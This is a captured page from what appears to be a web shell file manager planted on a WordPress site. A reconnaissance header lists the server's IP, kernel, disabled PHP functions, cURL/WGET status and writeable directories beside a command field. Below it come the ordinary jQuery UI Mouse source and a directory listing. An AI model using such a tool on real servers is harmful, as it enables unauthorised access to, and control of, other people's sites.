GRAYBYTE WORDPRESS FILE MANAGER7030

Server IP : 149.255.58.128 / Your IP : 216.73.216.180
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/public_html/wp-includes/js/jquery/ui/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/public_html/wp-includes/js/jquery/ui//mouse.js
/*!
 * jQuery UI Mouse 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Mouse
//>>group: Widgets
//>>description: Abstracts mouse-based interactions to assist in creating certain widgets.
//>>docs: http://api.jqueryui.com/mouse/

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"./core"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

var mouseHandled = false;
$( document ).on( "mouseup", function() {
	mouseHandled = false;
} );

return $.widget( "ui.mouse", {
	version: "1.13.2",
	options: {
		cancel: "input, textarea, button, select, option",
		distance: 1,
		delay: 0
	},
	_mouseInit: function() {
		var that = this;

		this.element
			.on( "mousedown." + this.widgetName, function( event ) {
				return that._mouseDown( event );
			} )
			.on( "click." + this.widgetName, function( event ) {
				if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) {
					$.removeData( event.target, that.widgetName + ".preventClickEvent" );
					event.stopImmediatePropagation();
					return false;
				}
			} );

		this.started = false;
	},

	// TODO: make sure destroying one instance of mouse doesn't mess with
	// other instances of mouse
	_mouseDestroy: function() {
		this.element.off( "." + this.widgetName );
		if ( this._mouseMoveDelegate ) {
			this.document
				.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
				.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
		}
	},

	_mouseDown: function( event ) {

		// don't let more than one widget handle mouseStart
		if ( mouseHandled ) {
			return;
		}

		this._mouseMoved = false;

		// We may have missed mouseup (out of window)
		if ( this._mouseStarted ) {
			this._mouseUp( event );
		}

		this._mouseDownEvent = event;

		var that = this,
			btnIsLeft = ( event.which === 1 ),

			// event.target.nodeName works around a bug in IE 8 with
			// disabled inputs (#7620)
			elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ?
				$( event.target ).closest( this.options.cancel ).length : false );
		if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
			return true;
		}

		this.mouseDelayMet = !this.options.delay;
		if ( !this.mouseDelayMet ) {
			this._mouseDelayTimer = setTimeout( function() {
				that.mouseDelayMet = true;
			}, this.options.delay );
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted = ( this._mouseStart( event ) !== false );
			if ( !this._mouseStarted ) {
				event.preventDefault();
				return true;
			}
		}

		// Click event may never have fired (Gecko & Opera)
		if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) {
			$.removeData( event.target, this.widgetName + ".preventClickEvent" );
		}

		// These delegates are required to keep context
		this._mouseMoveDelegate = function( event ) {
			return that._mouseMove( event );
		};
		this._mouseUpDelegate = function( event ) {
			return that._mouseUp( event );
		};

		this.document
			.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.on( "mouseup." + this.widgetName, this._mouseUpDelegate );

		event.preventDefault();

		mouseHandled = true;
		return true;
	},

	_mouseMove: function( event ) {

		// Only check for mouseups outside the document if you've moved inside the document
		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
		// fire a mousemove event if content is placed under the cursor. See #7778
		// Support: IE <9
		if ( this._mouseMoved ) {

			// IE mouseup check - mouseup happened when mouse was out of window
			if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) &&
					!event.button ) {
				return this._mouseUp( event );

			// Iframe mouseup check - mouseup occurred in another document
			} else if ( !event.which ) {

				// Support: Safari <=8 - 9
				// Safari sets which to 0 if you press any of the following keys
				// during a drag (#14461)
				if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
						event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
					this.ignoreMissingWhich = true;
				} else if ( !this.ignoreMissingWhich ) {
					return this._mouseUp( event );
				}
			}
		}

		if ( event.which || event.button ) {
			this._mouseMoved = true;
		}

		if ( this._mouseStarted ) {
			this._mouseDrag( event );
			return event.preventDefault();
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted =
				( this._mouseStart( this._mouseDownEvent, event ) !== false );
			if ( this._mouseStarted ) {
				this._mouseDrag( event );
			} else {
				this._mouseUp( event );
			}
		}

		return !this._mouseStarted;
	},

	_mouseUp: function( event ) {
		this.document
			.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.off( "mouseup." + this.widgetName, this._mouseUpDelegate );

		if ( this._mouseStarted ) {
			this._mouseStarted = false;

			if ( event.target === this._mouseDownEvent.target ) {
				$.data( event.target, this.widgetName + ".preventClickEvent", true );
			}

			this._mouseStop( event );
		}

		if ( this._mouseDelayTimer ) {
			clearTimeout( this._mouseDelayTimer );
			delete this._mouseDelayTimer;
		}

		this.ignoreMissingWhich = false;
		mouseHandled = false;
		event.preventDefault();
	},

	_mouseDistanceMet: function( event ) {
		return ( Math.max(
				Math.abs( this._mouseDownEvent.pageX - event.pageX ),
				Math.abs( this._mouseDownEvent.pageY - event.pageY )
			) >= this.options.distance
		);
	},

	_mouseDelayMet: function( /* event */ ) {
		return this.mouseDelayMet;
	},

	// These are placeholder methods, to be overriden by extending plugin
	_mouseStart: function( /* event */ ) {},
	_mouseDrag: function( /* event */ ) {},
	_mouseStop: function( /* event */ ) {},
	_mouseCapture: function( /* event */ ) {
		return true;
	}
} );

} );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 29 2023 22:38:18
1032 / wheelch2
0755
accordion.js
15.701 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
accordion.min.js
8.607 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
autocomplete.js
17.033 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
autocomplete.min.js
8.268 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
button.js
11.408 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
button.min.js
5.992 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
checkboxradio.js
7.363 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
checkboxradio.min.js
4.208 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
controlgroup.js
8.41 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
controlgroup.min.js
4.287 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
core.js
48.681 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
core.min.js
20.936 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
datepicker.js
80.563 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
datepicker.min.js
35.868 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
dialog.js
23.026 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
dialog.min.js
12.653 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
draggable.js
34.59 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
draggable.min.js
17.892 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
droppable.js
12.573 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
droppable.min.js
6.491 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
effect-blind.js
1.584 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-blind.min.js
0.844 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-bounce.js
2.576 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-bounce.min.js
0.952 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-clip.js
1.519 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-clip.min.js
0.762 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-drop.js
1.536 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-drop.min.js
0.72 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-explode.js
2.834 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-explode.min.js
1.08 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-fade.js
0.924 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-fade.min.js
0.497 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-fold.js
2.112 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-fold.min.js
0.98 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-highlight.js
1.192 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-highlight.min.js
0.617 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-puff.js
0.95 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-puff.min.js
0.482 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-pulsate.js
1.509 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-pulsate.min.js
0.656 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-scale.js
1.319 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-scale.min.js
0.69 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-shake.js
1.818 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-shake.min.js
0.811 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-size.js
5.27 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-size.min.js
2.417 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-slide.js
1.899 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-slide.min.js
0.88 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-transfer.js
0.846 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect-transfer.min.js
0.416 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect.js
40.962 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
effect.min.js
16.928 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
menu.js
18.411 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
menu.min.js
9.877 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
mouse.js
6.047 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
mouse.min.js
3.322 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
progressbar.js
4.116 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
progressbar.min.js
2.48 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
resizable.js
29.621 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
resizable.min.js
18.267 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
selectable.js
7.915 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
selectable.min.js
4.383 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
selectmenu.js
15.755 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
selectmenu.min.js
9.128 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
slider.js
19.1 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
slider.min.js
10.477 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
sortable.js
46.453 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
sortable.min.js
24.853 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
spinner.js
14.027 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
spinner.min.js
7.441 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
tabs.js
23.021 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
tabs.min.js
11.657 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
tooltip.js
14.061 KB
September 19 2022 22:34:10
1032 / wheelch2
0644
tooltip.min.js
6.039 KB
February 02 2023 22:06:32
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF